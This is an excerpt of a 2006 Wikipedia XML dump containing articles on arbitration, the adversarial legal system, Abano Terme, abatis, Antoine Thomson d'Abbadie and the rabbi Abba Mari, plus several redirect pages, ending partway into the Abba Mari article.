Some jurisdictions have instituted a limited grace period during which an arbitral decision may be appealed against, but after which there can be no appeal. In the case of arbitration under international law, a right of appeal does not in general exist, although one may be provided for by the arbitration agreement, provided a court exists capable of hearing the appeal. 

When arbitration occurs under U.S. law, either party to an arbitration may appeal from the arbitrator's decision to a court, however the court will generally not change the arbitrator's findings of fact but will decide only whether the arbitrator was guilty of malfeasance, or whether the arbitrator exceeded the limits of his or her authority in the arbitral award or whether the award conflicts with positive law.  The Supreme Court has described the standard of review as one of the narrowest known to Western jurisprudence.

==Arbitrators==
Arbitrators are not bound by [[precedent]] and have great leeway in such matters as active participation in the proceedings, accepting [[evidence (law)|evidence]], questioning witnesses, and deciding appropriate remedies. Arbitrators may visit sites outside the hearing room, call [[expert witnesses]], seek out additional evidence, decide whether the parties may be represented by legal counsel, and perform many other actions not normally within the purview of a court. It is this great flexibility of action, combined with costs usually far below those of traditional litigation, which makes arbitration so attractive.

Arbitrators have wide latitude in crafting remedies in the arbitral decision, with the only real limitation being that they may not exceed the limits of their authority in their award. An example of exceeding arbitral authority might be awarding one party to a dispute the personal automobile of the other party when the dispute concerns the specific performance of a business-related contract.

It is open to the parties to restrict the possible awards that the abitrator can make. If this restriction requires a straight choice between the position of one party or the position of the other, then it is known as ''pendulum arbitration'' or ''final offer arbitration''. It is designed to encourage the parties to moderate their initial positions so as to make it more likely they receive a favourable decision.

No definitive statement can be made concerning the credentials or experience levels of arbitrators, although some jurisdictions have elected to establish standards for arbitrators in certain fields. Several independent organizations, such as the [[American Arbitration Association]], offer arbitrator training programs and thus in effect, credentials. Generally speaking, however, the credibility of an arbitrator rests upon reputation, experience level in arbitrating particular issues, or expertise/experience in a particular field. Arbitrators are generally not required to be members of the legal profession.

To ensure effective arbitration and to increase the general credibility of the arbitral process, arbitrators will sometimes sit as a panel, usually consisting of three arbitrators.  Often the three consist of an expert in the legal area within which the dispute falls (such as contract law in the case of a dispute over the terms and conditions of a contract), an expert in the industry within which the dispute falls (such as the construction industry, in the case of a dispute between a homeowner and his general contractor), and an experienced arbitrator.

==Critics==
Critics of arbitration argue that contractual requirements to arbitrate can be unfair to employees or consumers who have no power to negotiate what is often a form contract. In these cases, the choice of arbiter may be spelled out in a contract. The arbitration panel may contain industry experts who may be more sympathetic to the industry than to the individual. Also, some have argued that the fact that an arbitration company may handle many cases for a corporation while an individual rarely goes through arbitration twice may bias the arbitrators in favor of the company. On this note, many arbitration companies have these corporations as their sole source of income, further biasing their judgments. The fact that most arbitral procedures are not public, and that there may be no provision for an individual to be represented by counsel, may also work to the disadvantage of the individual. These potential disadvantages make the ethics and professionalism of arbitrators even more important.

Arbitration in the U.S. has also been criticized because of the unavailability of appellate review. Although the New York and federal arbitration laws were based on the English arbitration law of 1898, they omitted the English provision permitting for de novo review of questions of law. Thus, American courts can overturn arbitral rulings only for extremely gross procedural errors that violate [[due process]], but cannot reverse most substantive errors.

Unlike judicial opinions, arbitration opinions are often confidential. As a result, the law relating to activities (such as reinsurance contracts and certain types of securities industry disputes) where contracts to arbitrate are widespread may develop more slowly because the usual process of creating [[precedent]] is not available.

==Arbitration on TV==
The &quot;judge shows&quot; that have become popular in many countries, especially the [[United States]], are actually binding arbitration.  The most famous example is ''[[The People's Court]]''.

==References==
* Jerold S. Auerbach, ''Justice Without Law?: Non-Legal Dispute Settlement in American History'' (Oxford: Oxford University Press, 1983).
* Mark J. Astarita, Esq., ''Introduction to Securities Arbitration'' (SECLaw.com, 2000 - [http://www.seclaw.com/arbover.htm www.seclaw.com/arbover.htm])

==Other uses in Pop Culture==
&quot;Arbiter&quot; is the name of a class of [[Protoss]] [[warships]] manned by [[Judicators]] in the PC game [[Starcraft]].

The Arbiter is one of the main characters in the game [[Halo 2]].

The Arbitrator is a class of Amarr cruiser in the MMORPG [[EVE Online]].

==See also==
* [[Conciliation]]
* [[Dispute resolution]]
* [[Expert determination]]
* [[Mediation]]
* [[Negotiation]]
*[[Special referee]]
* [[Subrogation]]
* [[Tort reform]]
For the relevant [[Conflict of Laws]] elements, see [[contract (conflict)|contract]], [[forum selection clause]], [[choice of law clause]], [[proper law]], and ''[[lex loci arbitri]]''

==External links==
* [http://en.wikipedia.org/wiki/Wikipedia:Arbitration_Committee Wikipedia:Arbitration Committee], [[Wikipedia]]'s final step in [http://en.wikipedia.org/wiki/Wikipedia:Resolving_disputes dispute resolution]
* [http://www.great-legal-advice.com/arbitration-mediation/arbitration/about-arbitrators.htm Arbitrator]
*[http://www.adr.org American Arbitration Association's Home Page]
*[http://www.arbitrators.org Chartered Institute of Arbitrators (UK, elsewhere) Web Site]
*[http://www.arbitration.ie Chartered Institute of Arbitrators (Irish Branch)]
*[http://www.arbitrator.com Arbitrator.com]
*[http://www.arb-forum.com National Arbitration Forum]
*[http://www.euro-arbitration.org euro-arbitration.org]

[[Category:Ethics]]
[[Category:Legal occupations]]
[[Category:Labor]]
[[Category:Dispute resolution]]
[[Category:Organizational studies and human resource management]]
[[Category:Labour relations]]
[[Category:Business law]]
[[Category:Professions|Arbitration]]

[[ar:تحكيم]]
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[[th:อนุญาโตตุลาการ]]</text>
    </revision>
  </page>
  <page>
    <title>Adversarial system</title>
    <id>2598</id>
    <revision>
      <id>40615442</id>
      <timestamp>2006-02-21T21:15:45Z</timestamp>
      <contributor>
        <username>BDAbramson</username>
        <id>196446</id>
      </contributor>
      <minor />
      <comment>/* Criticisms of the adversarial system */ recat</comment>
      <text xml:space="preserve">{{CrimPro}}
The '''adversarial system''' (or '''adversary system''') of law is the system of law, generally adopted in [[common law]] countries, that relies on the skill of the different [[jurist|advocate]]s representing their party's positions and not on some neutral party, usually the [[judge]], trying to ascertain the truth of the case. The [[inquisitorial system]] that is usually found on the continent of Europe among [[civil law (legal system)|civil law]] systems (ie. those deriving from the Roman or [[Napoleonic Code]]s) has a judge or a group of judges who work together whose task is to investigate the case before them.   

Judges in an adversarial system tend to be more interested in ensuring the fair play of [[due process]], or [[fundamental justice]]. Such judges decide, often when called upon by counsel rather than of their own motion, what [[evidence (law)|evidence]] is to be admitted when there is a dispute; though in some common law jurisdictions judges play more of a role in deciding what evidence to admit into the record or reject. At worst, abusing [[judicial discretion]] would actually pave the way to a biased decision rendering obsolete the judicial process in question &amp;mdash; [[rule of law]] being illicitly subordinated by [[rule of man]] under such discriminating circumstances.   

The rules of evidence are also developed based upon the system of objections of adversaries and on what basis it may tend to prejudice the [[trier of fact]] which may be the judge or the jury. In a way the rules of evidence can function to give a judge limited inquisitorial powers as the judge may exclude evidence he/she believes is not trustworthy or irrelevant to the legal issue at hand.   

Peter Murphy in his [[Practical Guide to Evidence]] recounts an instructive example.  A frustrated judge in an English (adversarial) court finally asked a barrister after witnesses had produced conflicting accounts, 'Am I never to hear the truth?' 'No, my lord, merely the evidence', replied counsel.   

The name adversary system may be misleading in that it implies it is only within this type of system in which there are opposing prosecution and defense. This is not the case, and both modern adversary and inquisitiorial systems have the powers of the state separated between a prosecutor and the judge and allow the defendant the right to counsel. Indeed, the [[European Convention on Human Rights|European Convention on Human Rights and Fundamental Freedoms]] in Article 6 requires these features in the legal systems of its signatory states.   

The right to counsel in criminal trials was initially not accepted in some adversarial systems. It was believed that the facts should speak for themselves, and that lawyers would just blur the matters. As a consequence, it was only in [[1836]] that England allowed suspects of felonies to have legal counsel (the ''Prisoners' Counsel Act''), and it was not until [[1963]] that the [[U.S. Supreme Court]] declared that legal counsel was a fundamental right of felony defendants in state courts.  See ''[[Gideon v. Wainwright]]'', {{ussc|372|335|[[1963]]}}.

One of the most significant differences between the adversary system and the inquisitional system occurs when a criminal defendant admits to the crime. In an adversary system, there is no more controversy and the case proceeds to sentencing; though in many jurisdictions the defendant must have [[allocute|allocution]] of her or his crime, a false confession will not be accepted even in common law courts. By contrast, in an inquisitional system, the fact that the defendant has confessed is merely one more fact that is entered into evidence, and a confession by the defendant does not remove the requirement that the prosecution present a full case. This allows for [[plea bargain]]ing in adversary systems in a way that is difficult or impossible in inquisitional system, and many felony cases in the United States are handled without trial through such plea bargains.   

Another difference is in the rules of evidence. Because the adversarial system assumes that the evidence is to be presented to laymen rather than to jurists, the rules of evidence are considerably more strict. Rules on [[hearsay]] are much stricter in most adversarial systems than in inquisitorial systems; though often lower tribunals are allowed some flexibility in applying the strict rules of common law evidence such as in domestic relations courts or in small claims proceedings where the parties are often unrepresented by lawyers and the judge functions as more of an inquisitor to protect the interests of children than a neutral arbiter of justice.   

==History of the adversarial process==   

Some writers trace the adversarial process to the medieval mode of [[trial by combat]], in which some litigants, notably women, were allowed a champion to represent them. Certainly the use of the [[jury]] in the common law system seems to have fostered the adversarial system, and there are many today who believe that it remains the best way of providing for the determination of a disputed issue. On the other hand, the new British Civil Justice reforms initiated by Lord Woolf (the Civil Procedure Rules or CPR) are prefaced with a case management system controlled by the judge rather than by the lawyers representing the different parties; similar case management systems are coming into use in the United States. 

The adversarial system also disposes of the canard whereby lawyers are often asked how they can represent someone if they believe that person to be guilty (or innocent for that matter, although this might be a more difficult position): counsel must not deceive the court but his client is entitled to have the best presentation of the case laid before the tribunal and to have the evidence fully tested.

==Basic features of the adversarial system==   

As an accused is not compelled to give evidence in a [[crime|criminal]] adversarial proceeding, he may not be questioned by prosecutor or judge unless he chooses to do so. However, should he decide to testify, he is subject to [[cross-examination]] and can be found guilty of [[perjury]]. As the election to maintain an accused person's 'right to silence' prevents any examination or cross-examination of that person's position, it follows that the decision of counsel as to what evidence will be called is a crucial tactic in any case in the adversarial system and hence it might be said that it is a lawyer's manipulation of the truth.  Certainly, it requires the skills of counsel on both sides to be fairly equally pitted and subjected to an impartial judge.    

By contrast, while defendants in most civil law systems can be compelled to give a statement, this statement is not subject to cross-examination and not given under oath. This allows the defendant to explain his side of the case without being subject to cross-examination by a skilled opposition.   

The passive role of the judge in the adversarial system also allows for [[plea bargain| plea bargaining]] in which the defendant agrees to plead guilty in exchange for a lesser sentence by the prosecution, or for out of court settlements in civil cases. In practice, most cases in the United States are disposed of in this manner. In the [[inquisitional system]], plea bargaining is impossible because there is no concept of a plea, and any attempt for the prosecution and defense to negotiate a sentence without the involvement of the judge would be considered highly unethical.

In some adversarial legislative systems, the court is permitted to make inferences on an accused's failure to face [[cross-examination]] or to answer a particular question.  This obviously limits the usefulness of silence as a tactic by the defence. In [[United Kingdom|Britain]], the Criminal Justice and Public Order Act 1994 allowed such inferences to be made for the first time. This change was disparaged by critics as an end to the 'right to silence', though in fact an accused still has the right to remain silent and cannot be compelled to take the stand. In the [[United States]], the [[Fifth Amendment to the United States Constitution|Fifth Amendment]] has been interpreted to prohibit a jury from drawing a negative inference based on the defendant's invocation of his right not to testify, and the jury must be so instructed if the defendant requests.

==Comparisons with the inquisitorial approach==   

In many jurisdictions the approaches of each system are often formal differences in the way cases are reviewed. It is questionable that the results would be different if cases were conducted under the differing approaches; in fact no statistics exist that can show that these systems do not come to the same result. However, these approaches are often a matter of national pride and there are opinions amongst jurists about the merits of the differing approaches and their drawbacks as well.   

Proponents of the adversarial system often argue that the system is more fair and less prone to abuse than the inquisitional approach, because it allows less room for the state to be biased against the defendant. It also allows most private litigants to settle their disputes in an amicable manner through discovery and pre-trial settlements in which non-contested facts are agreed upon and not dealt with during the trial process.   

In addition, adversarial procedure defenders argue that the inquisitorial court systems are overly institutionalized and removed from the average citizen. The common law trial lawyer has ample opportunity to uncover the truth in a laboratory called the courtroom. Most cases that go to trial are carefully prepared through a discovery process that aids in the review of evidence and testimony before it is presented to judge or jury.  The lawyers involved have a very good idea of the scope of agreement and disagreement of the issues to present at trial which develops much in the same way as the role of investigative judges. It has also been argued that a trial by a jury of one's peers may be more impartial than any government paid inquisitor and a panel of his peers. In the United States the right to a trial by a jury of one's peers who are common citizens is guaranteed by the United States Constitution.  

Proponents of inquisitorial justice dispute these points. They point out that most cases in adversarial systems are actually resolved by [[plea bargain]] and [[Settlement (law)|settlement]].  Most legal cases in these systems do not go to trial; this can lead to great injustice when the defendant has an unskilled or overworked attorney, which is likely to be the case when the defendant is poor. In addition, proponents of inquisitorial systems argue that the plea bargain system causes the participants within the system to act in perverse ways, in that it encourages prosecutors to bring charges far in excess of what is warranted and defendants to plead guilty even when they believe that they are not. Furthermore, proponents of inquisitorial systems also argue that the power of the judge is limited by the use of lay assessors and that a panel of judges may not necessarily be more biased than a jury.   

Furthermore, some countries with an [[inquisitorial system]] do use [[jury trial]]s for some categories of [[crime]]. Interestingly, some countries such as [[Japan]] before 1943 which used to have a right to jury trial, rarely used them, as there is a popular belief that any defendant who requests a jury trial has a case that is so weak that they are willing to risk pleading their case before strangers rather than professional judges.  Hence, jurors in those countries are very unsympathetic toward defendants. (Jury system in Japan was suspended in 1943. In 2004, whole new lay-judge system was enacted in Japan and will be installed in 2009. In this system, 6 jurors and 3 judges will discuss and judge a case together.)

==Criticisms of the adversarial system==
Critics of this system suggest that the ability of a party to obtain a favorable result may hinge more upon the quality of their lawyers than on the facts of the case. An uncharismatic lawyer may fail to sway the jury with the plain facts of the case, whereas a highly charismatic lawyer may find favor with the jury by relating a narrative that seems to have little to do with the facts. This perception has been highlighted in popular culture - a classic example being the [[South Park]] episode in which [[Johnnie Cochran]] is portrayed as winning the jury over with his absurd and meaningless [[Chewbacca defense]].

The system is also criticized for the lucrative advantages it appears to present to the lawyer. Although both civil and criminal defendants are generally permitted to represent themselves ''pro se'', the complexity of the legal system means that the civil defendant is often forced to either pay whatever it takes to defend himself, or enter into a settlement with the opposing party. This is typified in [[Danny Devito]]'s famous quote in ''[[Other People's Money]]'' that &quot;lawyers are like nuclear weapons, you have yours, I have mine, and when we use them they %^%$ everything up&quot; applies here.  Contrary to popular belief, however, trial lawyers are not the wealthiest members of the profession - the lawyers who make the most money are often never involved in litigation at all, but rather in the structuring of mergers and similar relationships between corporations.

[[Category:Legal systems]]
[[Category:Court systems]]

[[he:השיטה האדברסרית]]</text>
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      <contributor>
        <username>Ceyockey</username>
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    <title>Aarons rod</title>
    <id>2600</id>
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      <timestamp>2002-08-26T02:58:45Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
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      <comment>#REDIRECT [[Aaron's rod]]; same content</comment>
      <text xml:space="preserve">#REDIRECT [[Aaron's rod]]</text>
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    <title>Abandonment in marine insurance</title>
    <id>2601</id>
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      <id>15900998</id>
      <timestamp>2002-09-01T17:08:42Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
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      <text xml:space="preserve">#REDIRECT [[Abandonment]]</text>
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  <page>
    <title>Abano Terme</title>
    <id>2602</id>
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      <id>41058623</id>
      <timestamp>2006-02-24T20:11:46Z</timestamp>
      <contributor>
        <username>Unyoyega</username>
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      <comment>fixing interwikis  +: fr</comment>
      <text xml:space="preserve">'''Abano Terme''' (town changed its name from ''Abano Bagni'' in [[1930]]) is a town in the province of [[Padua]], in the [[Veneto]] region, [[Italy]], on the eastern slope of the [[Colli Euganei]]; it is 6 miles (10 kilometers) southwest by rail from Padua. Abano Terme's population is 18,232 ([[2001]]) (in [[1901]] it was only 4,556). 

The town's hot springs and mud baths are much resorted to, and were known to the Romans as Aponi fons or Aquae Patavinae. A description of them is given in a letter of [[Theodoric_the_Great|Theodoric]], the king of the [[Ostrogoths]]. Some remains of the ancient baths have been discovered (S. Mandruzzato, ''Trattato dei Bagni d'Abano,'' Padua, 1789).  An oracle of [[Geryon]] lay near, and the so-called ''sortes Praenestinae'' (C.I.L. i., Berlin, 1863; 1438-1454), small bronze cylinders inscribed, and used as oracles, were perhaps found here in the 16th century. 

The waters were hot, sometimes as high as 180 to 187 degrees Fahrenheit. When applied to the surface of the body, either by bathing or by means of the ''mud'' application or process, they were said to be efficacious in the cure of rheumatism, gout, and diseases of the skin.tructures

The spa resorts of Abano Terme have modern hotels and facilities and is one of Europe's most important spas.


{{Wikisource1911Enc|Abano Bagni}}
{{1911}}
''This article incorporates text from the 1851 [[Encyclopedia Americana]], a work in [[public domain]].
[[Category:Towns in the Veneto]]

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    <title>Abaris</title>
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      <contributor>
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      <text xml:space="preserve">#REDIRECT [[Abaris the Hyperborean]]</text>
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  <page>
    <title>Abated</title>
    <id>2604</id>
    <revision>
      <id>23093343</id>
      <timestamp>2005-09-12T09:36:29Z</timestamp>
      <contributor>
        <username>Jacobw</username>
        <id>60298</id>
      </contributor>
      <comment>removed vandalism by reverting back to edit of 13:06, 12 July 2005</comment>
      <text xml:space="preserve">'''Abated''', an ancient technical term applied in [[masonry]] and [[metal]] work to those portions which are sunk beneath the surface, as in inscriptions where the ground is sunk round the letters so as to leave the letters or ornament in relief.
{{Wikisource1911Enc|Abated}}
''From [[1911 Encyclopædia Britannica]]''

[[Category:Construction]]</text>
    </revision>
  </page>
  <page>
    <title>Abati</title>
    <id>2605</id>
    <revision>
      <id>40333672</id>
      <timestamp>2006-02-19T21:59:29Z</timestamp>
      <contributor>
        <username>Freakofnurture</username>
        <id>77511</id>
      </contributor>
      <comment>{{hndis}}</comment>
      <text xml:space="preserve">'''Abati''' can refer to:
*[[Joël Abati]] (born 1970), a French handball player
*[[Niccolò dell'Abbate]] (1509?-1571?), an Italian painter
{{hndis}}</text>
    </revision>
  </page>
  <page>
    <title>Abatis</title>
    <id>2606</id>
    <revision>
      <id>32805747</id>
      <timestamp>2005-12-26T22:24:44Z</timestamp>
      <contributor>
        <username>SeventyThree</username>
        <id>183256</id>
      </contributor>
      <comment>moved pictures from the top to the right</comment>
      <text xml:space="preserve">[[Image:Abattis.JPG|thumb|300px|right|Abatisses are used in war to keep the approaching enemy under fire for as long as possible.]]
[[Image:Abatis.jpg|thumb|300px|right|Abatis improvised by Japanese troops during [[World War II|World War 2]].]]
[[Image:Giant abatis.jpg|thumb|200px|right|Giant abatis, made from entire trees, is an effective anti-vehicle obstacle.]]

'''Abatis''', '''Abattis''' or '''Abbattis''' (a [[French language|French]] word meaning a heap of material thrown), a term in field [[fortification]] for an obstacle formed of the branches of trees laid in a row, with the tops directed towards the enemy and interlaced or tied with [[wire]].  The abatis is used alone or in combination with [[wire entanglement]]s and other obstacles.

Although used since at least [[Roman Empire|Roman Imperial]] times, abatis is rarely seen nowadays, having been largely replaced by [[wire obstacle]]s. However it may be used as a supplement when [[barbed wire]] is in short supply. Also, a form of giant abatis, using whole trees instead of branches, can be used as an anti-[[tank]] obstacle.

An important weakness of abatis - in comparison to [[barbed wire]] - is that if time allows, it can be destroyed by [[fire]]. Also if it is laced together with [[rope]] instead of [[wire]], the rope can be very quickly destroyed by fire, after which the abatis can be quickly pulled apart by [[grappling hook]]s thrown from a safe distance.

== See also ==
* [[medieval fortification]]
* [[caltrop]]
* [[cheval de frise]]
* [[trou de loup]]

{{fort-stub}}

{{Wikisource1911Enc|Abatis}}
{{1911}}

[[Category:Fortification]]

[[eo:Abatiso]]</text>
    </revision>
  </page>
  <page>
    <title>Antoine Thomson d'Abbadie</title>
    <id>2607</id>
    <revision>
      <id>42025298</id>
      <timestamp>2006-03-03T07:58:31Z</timestamp>
      <contributor>
        <ip>216.240.48.29</ip>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">'''Antoine Thomson d'Abbadie''' ([[January 3]], [[1810]] &amp;ndash; [[March 19]], [[1897]]), was a [[France|French]] [[geographer]], notable for his travels in [[Ethiopia]] during the first half of the [[19th century]]. He was the older brother of [[Arnaud Michel d'Abbadie]].

They were both born in [[Dublin]], [[Ireland]] of a [[France|French]] father and an Irish mother. The family moved to [[France]] in 1818, and there the brothers received a careful scientific education.

In 1835 the [[French Academy]] sent Antoine on a scientific mission to [[Brazil]], the results being published at a later date (1873) under the title of ''Observations relatives à la physique du globe faites au Bresil et en Ethiopie''. The younger Abbadie spent some time in [[Algeria]] before, in 1837, the two brothers started for Ethiopia, landing at [[Massawa]] in February 1838. They visited various parts of Ethiopia, including the then little-known districts of [[Ennarea]] and [[Kingdom of Kaffa|Kaffa]], sometimes together and sometimes separately. They met with many difficulties and many adventures, and became involved in political intrigues, Antoine especially exercising such influence as he possessed in favour of France and the [[Roman Catholic Church|Roman Catholic]] missionaries. After collecting much valuable information concerning the geography, geology, archaeology and natural history of Ethiopia, the brothers returned to France in 1848 and began to prepare their materials for publication.

The more distinguished brother, Antoine, became involved in various controversies relating both to his geographical results and his political intrigues. He was especially attacked by [[Charles Tilstone Beke]], who impugned his veracity, especially with reference to the journey to [[Kana, Ethiopia|Kana]]. But time and the investigations of subsequent explorers have shown that Abbadie was quite trustworthy as to his facts, though wrong in his contention -- hotly contested by Beke -- that the [[Blue Nile]] was the main stream. The topographical results of his explorations were published in [[Paris]] between 1860 and 1873 in ''Geodesie d'Ethiopie'', full of the most valuable information and illustrated by ten maps. Of the ''Geographie de l'Ethiopie'' (Paris, 1890) only one volume has been published. In ''Un Catalogue raisonné de manuscrits ethiopiens'' (Paris, 1859) is a description of 234 Ethiopian [[manuscript]]s collected by Antoine. He also compiled various vocabularies, including a ''Dictionnaire de la langue amarinna'' (Paris, 1881), and prepared an edition of the ''[[Shepherd of Hermas]]'', with the Latin version, in 1860. He published numerous papers dealing with the geography of Ethiopia, Ethiopian coins and ancient inscriptions. Under the title of ''Reconnaissances magnetiques'' he published in 1890 an account of the [[magnetic]] observations made by him in the course of several journeys to the [[Red Sea]] and the [[Levant]]. The general account of the travels of the two brothers was published by Arnaud in 1868 under the title of ''Douze ans dans la Haute Ethiopie''.

Both brothers received the grand medal of the [[Paris Geographical Society]] in 1850. Antoine was a knight of the [[Légion d’honneur|Legion of Honour]] and a member of the [[French Academy of Sciences]]. He died in 1897, and bequeathed an estate in the [[Pyrenees]], yielding 40,000 francs a year, to the Academy of Sciences, on condition of its producing within fifty years a catalogue of half-a-million stars. His brother Arnaud died in 1893.

{{Wikisource1911Enc|Abbadie, Antoine Thomson D' and Arnaud Michel D'}}
{{1911}}

[[Category:1810 births|Abbadie, Antoine Thomson d']]
[[Category:1897 deaths|Abbadie, Antoine Thomson d']]
[[Category:Roman Catholics|Abbadie, Antoine Thomson d']]
[[Category:French explorers|Abbadie, Antoine Thomson d']]
[[Category:Natives of County Dublin|Abbadie, Antoine Thomson d']]

[[fr:Antoine d'Abbadie d'Arrast]]
[[it:Antoine Thomson d'Abbadie]]
[[ru:Аббади, Антуан Томсон д']]</text>
    </revision>
  </page>
  <page>
    <title>Abba Mari</title>
    <id>2608</id>
    <revision>
      <id>39998876</id>
      <timestamp>2006-02-17T11:25:03Z</timestamp>
      <contributor>
        <username>Meegs</username>
        <id>406581</id>
      </contributor>
      <minor />
      <comment>bypassed [[Providence]] disambiguation page</comment>
      <text xml:space="preserve">'''Abba Mari''' (in full, '''Abba Mari ben Moses ben Joseph'''), [[France|French]] [[rabbi]], was born at [[Lunel]], near [[Montpellier]], towards the end of the [[13th century]]. He is also known as '''Yarhi''' from his birthplace ([[Hebrew language|Hebrew]] ''Yerah'', i.e. [[moon]], lune), and he further took the name '''Astruc''', '''Don Astruc''' or '''En Astruc of Lunel'''.

The descendant of men learned in [[rabbinic]] lore, Abba Mari devoted himself to the study of [[theology]] and [[philosophy]], and made himself acquainted with the writings of [[Maimonides|Moses Maimonides]] and [[Nachmanides]] as well as with the ''[[Talmud]]''.

In Montpellier, where he lived from 1303 to 1306, he was much distressed by the prevalence of [[Aristotle|Aristotelian]] [[rationalism]], which in his opinion, through the medium of the works of Maimonides, threatened the authority of the [[Old Testament]], obedience to the law, and the belief in [[miracle]]s and [[revelation]]. He therefore, in a series of letters (afterwards collected under the title ''Minhat Kenaot'', i.e., &quot;Jealousy Offering&quot;) called upon the famous rabbi [[Solomon ben Adret]] of [[Barcelona]] to come to the aid of orthodoxy. Ben Adret, with the approval of other prominent Spanish rabbis, sent a letter to the community at Montpellier proposing to forbid the study of philosophy to those who were less than thirty years of age, and, in spite of keen opposition from the liberal section, a decree in this sense was issued by Ben Adret in 1305.  The result was a great schism among the [[Jew]]s of [[Spain]] and southern [[France]], and a new impulse was given to the study of philosophy by the unauthorized interference of the Spanish rabbis.

On the expulsion of the Jews from France by [[Philip IV of France|Philip IV]] in 1306, Abba Mari settled at [[Perpignan]], where he published the letters connected with the controversy. His subsequent history is unknown.  Beside the letters, he was the author of liturgical poetry and works on civil law.

==Defender of Law and Tradition==

(Graetz and others have, incorrectly, En Duran): Leader of the opposition to the [[rationalism]] of the Maimonists in the Montpellier controversy of 1303-1306; born at Lunel—hence his name, Yarḥi (from Yeraḥ = Moon = Lune). He was a descendant of [[Meshullam ben Jacob]] of Lunel, one of whose five sons was Joseph, the grandfather of Abba Mari, who, like his son Moses, the father of Abba Mari, was highly respected for both his rabbinical learning and his general erudition. Abba Mari moved to Montpellier, where, to his chagrin, he found the study of rabbinical lore greatly neglected by the young, who devoted all of their time and zeal to [[science]] and [[philosophy]]. The rationalistic method pursued by the new school of Maimonists (including [[Levi ben Abraham ben Chayyim]] of [[Villefranche]], near the town of [[Perpignan]], and [[Jacob Anatolio]]) especially provoked his indignation; for the sermons preached and the works published by them seemed to resolve the entire [[Scripture]]s into [[allegory]] and threatened to undermine the Jewish faith and the observance of the Law and tradition. He was not without some philosophical training. He mentions even with reverence the name of Maimonides, whose work he possessed and studied; but he was more inclined toward the mysticism of Nachmanides. Above all, he was a thorough believer in [[revelation]] and in a [[divine providence]], and was a sincere, law-observing follower of rabbinical Judaism. He would not allow Aristotle, &quot;the searcher after God among the heathen,&quot; to be ranked with Moses.

==Opponent of Rationalism==

Abba Mari possessed considerable Talmudic knowledge and some poetical talent; but his zeal for the Law made him an agitator and a persecutor of all the advocates of liberal thought. Being himself without sufficient authority, he appealed in a number of letters, afterward published under the title of ''Minḥat Ḳenaot'' (''Jealousy Offering''), to [[Solomon ben Adret]] of [[Barcelona]], the most influential rabbi of the time, to use his powerful authority to check the source of evil by hurling his [[anathema]] against both the study of philosophy and the allegorical interpretations of the Bible, which did away with all belief in miracles. Ben Adret, while reluctant to interfere in the affairs of other congregations, was in perfect accord with Abba Mari as to the danger of the new rationalistic systems, and advised him to organize the conservative forces in defense of the Law. Abba Mari, through Ben Adret's aid, obtained allies eager to take up his cause, among whom were Don [[Bonafoux Vidal]] of Barcelona and his brother, Don [[Crescas Vidal]], then in Perpignan. The proposition of the latter to prohibit, under penalty of [[excommunication]], the study of philosophy and any of the sciences except [[medicine]], by one under thirty years of age, met with the approval of Ben Adret. Accordingly, Ben Adret addressed to the congregation of Montpellier a letter, signed by fifteen other rabbis, proposing to issue a decree pronouncing the anathema against all those who should pursue the study of philosophy and science before due maturity in age and in rabbinical knowledge. On a Sabbath in September, 1304, the letter was to be read before the congregation, when [[Jacob Machir Don Profiat Tibbon]], the renowned astronomical and mathematical writer, entered his protest against such unlawful interference by the Barcelona rabbis, and a [[schism]] ensued. Twenty-eight members signed Abba Mari's letter of approval; the others, under Tibbon's leadership, addressed another letter to Ben Adret, rebuking him and his colleagues for condemning a whole community without knowledge of the local conditions. Finally, the agitation for and against the liberal ideas brought about a schism in the entire Jewish population in southern [[France]] and [[Spain]].

Encouraged, however, by letters signed by the rabbis of [[Argentière]] and Lunel, and particularly by the support of [[Kalonymus ben Todros]], the ''[[nasi]]'' of [[Narbonne]], and of the eminent Talmudist [[Asheri of Toledo]], Ben Adret issued a decree, signed by thirty-three rabbis of Barcelona, excommunicating those who should, within the next fifty years, study [[physics]] or [[metaphysics]] before their thirtieth year of age (basing his action on the principle laid down by Maimonides, ''Moreh,'' i. 34), and had the order promulgated in the synagogue on Sabbath, [[July 26]], [[1305]]. When this [[heresy]]-decree, to be made effective, was forwarded to other congregations for approval, the friends of liberal thought, under the leadership of the Tibbonites, issued a counter-ban, and the conflict threatened to assume a serious character, as blind party zeal (this time on the liberal side) did not shrink from asking the civil powers to intervene. But an unlooked-for calamity brought the warfare to an end. The expulsion of the Jews from France by [[Philip IV of France|Philip IV]] (&quot;the Fair&quot;), in 1306, caused the Jews of Montpellier to take refuge, partly in [[Provence]], partly in Perpignan and partly in [[Majorca]]. Consequently, Abba Mari removed first to [[Arles]], and, within the same year, to Perpignan, where he finally settled and disappeared from public view. There he published his correspondence with Ben Adret and his colleagues.

==His Works==

Abba Mari collected the correspondence and added to each letter a few explanatory notes. Of this collection, called ''Minḥat Ḳenaot,'' there are several manuscript copies extant; namely, at [[Oxford]] (Neubauer, ''Cat. Bodl. Hebr. MSS.,'' Nos. 2182 and 2221); [[Paris]], Bibl. Nat. No. 976; Günzburg Libr., [[St. Petersburg]]; [[Parma]]; [[Ramsgate]] [[Montefiore College]] Library (formerly Halberstam, No. 192); and [[Turin]]. Some of these (Oxford, No. 2221, and Paris, Bibl. Nat.) are mere fragments. The printed edition (Presburg, 1838), prepared by M. L. Bislichis, contains: (1) Preface; (2) a treatise of eighteen chapters on the [[incorporeality]] of [[God]]; (3) correspondence; (4) a treatise, called ''Sefer ha-Yarḥi,'' included also in letter 58; (5) a defense of ''The Guide'' and its author by [[Shem-Tob Palquera]] (Grätz, ''Gesch. d. Juden,'' vii. 173). As the three cardinal doctrines of Judaism, Abba Mari accentuates: (1) That of the recognition of God's existence and of His absolute sovereignty, eternity, unity, and incorporeality, as taught in revelation, especially in the ''[[Decalogue]]''; (2) that of the world's creation by Him out of nothing, as evidenced particularly by the Sabbath; (3) that of the special [[Divine providence|providence]] of God, as manifested in the Biblical [[miracle]]s. In the preface, Abba Mari explains his object in collecting the correspondence; and in the treatise which follows he shows that the study of philosophy, useful in itself as a help toward the acquisition of the knowledge of God, requires great caution, lest we be misled by the Aristotelian philosophy or its false interpretation, as regards the principles of creatiom ''[[ex nihilo]]'' and divine individual providence. The manuscripts include twelve letters which are not included in the printed edition of ''Minḥat Ḳenaot.''

==Contents of the Minḥat Ḳenaot==

